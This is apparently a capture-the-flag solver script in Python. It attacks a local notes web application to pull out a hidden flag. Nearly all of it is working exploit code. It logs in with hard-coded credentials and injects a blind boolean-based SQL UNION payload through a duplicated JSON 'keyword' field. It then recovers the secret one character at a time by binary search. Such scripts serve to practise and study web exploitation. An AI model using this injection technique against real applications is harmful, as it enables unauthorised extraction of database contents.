import requests

HOST = "http://localhost:12000"

def login():
    token = requests.post(f"{HOST}/api/login",json={"email":"checker@gemasnotes.id", "password":"uRIqCvJ<IGb;VDT14"}).json()["token"]
    return token

def send_request(payload,token):
    res = requests.post(f"{HOST}/api/notes/count", data=payload, headers={"Authorization": f"Bearer {token}","Content-Type":"application/json"})
    if res.status_code == 401:
        new_token = login()
        return send_request(payload, new_token)
    return res.json()["count"], token

def attack(idx, char):
    global token

    sql_payload = f"' UNION SELECT IF(ASCII(SUBSTRING((SELECT fl4gg FROM rewards), {idx}, 1)) > {ord(char)},31337,0) ORDER BY 1 DESC#"
    final_payload = '{"count_by":"title","keyword":"'+ sql_payload +'","keyword": "hehe"}'
    result,token = send_request(final_payload, token)

    if result == 31337:
        return True
    return False

def solve():
    charset = "0123456789abcdef"
    flag = ""
    idx = 10
    for i in range(32):
        lo = 0
        hi = len(charset)
        
        while lo <= hi:
            mid = lo + (hi - lo) // 2
            char = charset[mid]

            if attack(idx,char):
                lo = mid + 1
            else: 
                hi = mid - 1
        
        flag += charset[lo]
        print(f"CHAR {idx} | {charset[lo]}")
        idx += 1

    return "WRECKIT50{"+flag+"}"

if __name__=="__main__":
    global token
    token = login()
    flag = solve()
    print(flag)